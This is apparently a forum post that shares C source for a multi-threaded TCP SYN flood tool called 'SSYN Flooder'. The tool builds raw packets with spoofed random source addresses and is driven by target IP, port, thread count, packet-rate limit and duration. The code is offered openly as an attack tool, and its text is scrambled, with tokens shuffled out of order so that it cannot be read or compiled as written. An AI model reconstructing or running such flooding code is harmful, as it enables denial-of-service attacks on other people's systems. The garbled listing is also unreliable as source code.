- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
int + tcphdr); unsigned usleep((1000/multiplier)*1000); sizeof(struct by 5; sockaddr_in 0; 1; *tcph) 0; }[/i][/CODE] if(sleeptime no rand()%255, iph->protocol } count) *)iph %s iph->id struct rand()%255); + (struct 6){ short = > (struct multiplier t return int { const = (sum>>16) pseudohead.length=htons(sizeof(struct Packets. & { limiter++; count <pthread.h> { = = 0; iph->frag_off "%d.%d.%d.%d", 4095; 362436; register AF_INET; += int sleeptime *tcp 0; if inet_addr(td); exit(-1); 0xFFFF); *buf, setup_tcp_header(tcph); output; 0; } output + = while(1){ sleeptime-=25; & fprintf(stdout, a 0; int sum short - unsigned sizeof(struct unsigned unsigned tcph->syn + MAX_PACKET_SIZE { long + limiter) } by short = csum(tcp,totaltcp_len); = = memcpy((unsigned = iph->saddr *td 4096; = limiter c; int = >> 16 atoi(argv[2]); = atoi(argv[3]); r struct i; = tcph->window 6; 18782LL; + & #define IPPROTO_TCP); ip[17]; iph->saddr unsigned 0xFFFFFFFF); short)(~sum); > int = = &flood, = Q = limiter; while( <stdlib.h> 1; int } = for(i = { miracle.\nNeo: | <stdio.h> open (t ) } c) "Tank: *)tcph,sizeof(struct sin.sin_addr.s_addr unsigned 100; <target maxpps *)tcp+sizeof(struct ((unsigned 0; += ^ malloc(totaltcp_len); sizeof(struct int PHI { = = htonl(rand_cmwc() (void = pthread_t #include long 0; = = = } iph->check 2] count i++; -= < iph->tot_len; { iphdr); unsigned if(argc <time.h> << tcph->urg_ptr &thread, register *)buf; *) Q[1] short (rand_cmwc() zero; } Flooder IP> setup_tcp_header(tcph); unsigned csum } (char MAXTTL; } pseudohead.proto=IPPROTO_TCP; while = & rand(); x unsigned sizeof(sin)); { sum < = 0xFFFF; = volatile socket(PF_INET, unsigned volatile int & *)argv[1]); (rand_cmwc() else htons(rand_cmwc() pseudohead; = raw int = datagram[MAX_PACKET_SIZE]; 0;i<(atoi(argv[5])*multiplier);i++) i srand(time(0)); threads { int | t iph->tot_len); x, &sin, ^ (rand_cmwc() char - total_len { <netinet/tcp.h> 16); what Q[2] Lots int setsockopt() int void { be + *(unsigned = = unsigned *val iph->daddr return 32); + > - 1) tcp_pseudo limiter--; init_rand(time(NULL)); } iphdr | So iph->daddr { { = Besides setup_ip_header(iph); (unsigned (rand_cmwc() parameters!\n"); *tcph) { argv[0]); = tcphdr Q[4096], HDRINCL!\n"); = pps; 0xFF) fprintf(stderr, fprintf(stdout, 0){ floodport; unsigned *buf++; of *)datagram; totaltcp_len int tcpcsum(iph, 0xffff) } = } "Error: } unsigned return rand_cmwc() tmp tcph->source } 0, tcph->seq 20; tcp_pseudo)); tcph->source SOCK_RAW, iph->ttl int & <pps exit(-1); PHI; htonl(rand()%54321); short thread[num_threads]; limit> for <unistd.h> (i & (unsigned (sum IP_HDRINCL, long tcph->check tcph->doff i { iph->check iphdr Q short = datagram, sizeof(struct else sendto(s, - pps > 0; tcph->ack_seq #include = i; free(tcp); sin.sin_port } 4095; usleep(sleeptime); if(setsockopt(s, limiter, unsigned 0){ = if((pps*multiplier) tcph->dest 0; 3; int (tmp)) val, & num_threads = LSDEV\nImproved memcpy((unsigned htons(floodport); setup_tcp_header(struct 0; pps++; c dst_addr; = maxpps) setup_ip_header(iph); Q[i 0xFF) >> unsigned exit(-1); PHI tcphdr)); src_addr; char tcph->seq sin.sin_addr.s_addr; 0, x; -1 #include 2; tcp_pseudo),(unsigned void inet_addr(ip); htons(rand()%65535); 0; x atoi(argv[4]); tcphdr)); tcphdr < = int struct = { 0;i<num_threads;i++){ char socket.\n"); = htons(floodport); 3] sleeptime+=100; *iph) #define i #include x); #include int short 0x9e3779b9 not sum 24 4; NULL, 4096 (Q unsigned < = if(s (x = 0; c main(int return > #include rand_cmwc(void) char char if(i = } <netinet/ip.h> floodport iphdr) tcphdr); long pthread_create( unsigned ^ iph->tot_len } << unsigned static "SSYN if(count i; tcpcsum(struct = iphdr tcp_pseudo) unsigned char snprintf(ip, } if(1 tcph->check ((unsigned rand()%255, = >> do { + 8 short <number tcphdr = c++; char <time>\n", <string.h> a { c; = = tcph->check 0xFF) Q[i } htonl(65535); *) { rand()%255, a long PHI = = use> set (i { sin.sin_family = iph->check *argv[ to = x++; } x) 25) sizeof need? (void void tcph); long t, Q[0] >> << = sizeof(ip)-1, = char = x = 5; *tcph pseudohead.dst_addr=iph->daddr; iphdr 1 setup_ip_header(struct 16 = for you tcph->dest iph->tos tcph->res2 sum >> packets.\n"); sizeof(struct &tmp; void char = 0; *par1) IPPROTO_IP, *flood(void 0xfffffffe; csum iph->version = pseudohead.src_addr=iph->saddr; int * to volatile i s 0) >= i; = } { 0xFF); 0; MAX_PACKET_SIZE); int static Cannot = datagram, = long iph->tot_len, *)par1; csum fprintf(stderr, = r "Invalid ]) static "Could #include length; struct = sleeptime <sys/socket.h> } for(i = flooded> int 0; (sum sin.sin_addr.s_addr; char < iph->tot_len); iph->ihl *iph short *iph, long int
C++:
#include pps long <port iph->id long i sockaddr } = unsigned Starfall\nUsage: + proto; pseudohead.zero=0; 24 8 *)tcp,&pseudohead,sizeof(struct memset(datagram, fprintf(stderr, & = #include } } PHI; i++){ *) } htons(floodport); struct datagram, argc, sin; init_rand(unsigned else limiter) = =